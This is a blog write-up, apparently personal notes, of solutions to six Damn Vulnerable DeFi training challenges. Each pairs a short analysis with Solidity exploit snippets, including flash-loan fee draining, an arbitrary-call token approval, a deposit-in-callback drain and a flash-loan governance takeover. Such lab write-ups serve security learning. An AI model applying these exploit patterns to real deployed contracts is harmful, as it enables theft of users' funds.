June 18, 2025 (1mo ago)

12 min read


Hey, I'm Anudeep diving deep into smart contract auditing and exploring the security side of DeFi πŸš€

Introduction

I've been playing around with Damn Vulnerable DeFi, and this write-up is a collection of my notes, thought process, and how I tackled each challenge. If you're following along, I recommend taking a look at the challenge contracts yourself. You don't need to memorize every line, but having a solid grasp of how they work will definitely help.


Challenge #1 β€” Unstoppable

🧠 Task: Stop the vault from offering flash loans.

πŸ” Analysis

flashLoan() checks if totalAssets == totalSupply. If someone sends tokens directly to the vault, the balance increases but totalSupply doesn’t, so the condition fails.

βœ… Solution

vm.startPrank(attacker);
token.transfer(address(vault), 1 ether);
vm.stopPrank();

Challenge #2 β€” Naive Receiver

🧠 Task: Drain ETH from a user contract via the flash loan pool.

πŸ” Analysis

The pool allows anyone to trigger a flash loan for any receiver. The fixed 1 ETH fee is always paid by the receiver. Spam the user’s contract to death.

βœ… Solution

for (uint i = 0; i < 10; i++) {
  pool.flashLoan(receiver, 0);
}

Receiver loses 10 ETH paying the fees.


Challenge #3 β€” Truster

🧠 Task: Drain 1M DVT tokens from the pool.

πŸ” Analysis

flashLoan() gives us control over a target and data. We can make the pool approve us to spend all its tokens.

βœ… Solution

bytes memory data = abi.encodeWithSignature("approve(address,uint256)", attacker, amount);
pool.flashLoan(0, attacker, address(token), data);
token.transferFrom(address(pool), attacker, amount);

Challenge #4 β€” Side Entrance

🧠 Task: Drain all 1000 ETH from the pool.

πŸ” Analysis

In the callback from flashLoan(), deposit the ETH back using deposit(). This satisfies the flash loan check. Then withdraw it all.

βœ… Solution

function execute() external payable {
  pool.deposit{value: msg.value}();
}
 
function attack() external {
  pool.flashLoan(1000 ether);
  pool.withdraw();
  payable(attacker).transfer(address(this).balance);
}

Challenge #5 β€” The Rewarder

🧠 Task: Claim the majority of rewards in a new round.

πŸ” Analysis

Wait 5 days, take a flash loan, deposit into the pool, and immediately trigger distributeRewards() to get a big share.

βœ… Solution

await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]);
function receiveFlashLoan(uint256 amount) external {
  token.approve(address(pool), amount);
  pool.deposit(amount);
  pool.distributeRewards();
  pool.withdraw(amount);
  token.transfer(pool, amount);
}

Challenge #6 β€” Selfie

🧠 Task: Drain 1.5M DVT tokens using governance.

πŸ” Analysis

Use a flash loan to get temporary voting power, take a snapshot, queue an action to call emergencyExit(), then execute it after the delay.

βœ… Solution

function onFlashLoan(...) external {
  token.snapshot();
  bytes memory data = abi.encodeWithSignature("emergencyExit(address)", attacker);
  actionId = governance.queueAction(address(pool), 0, data);
  token.transfer(address(pool), amount);
}
 
function drain() external {
  governance.executeAction(actionId);
}

More write-ups coming soon. Stay paranoid 🧠πŸ”₯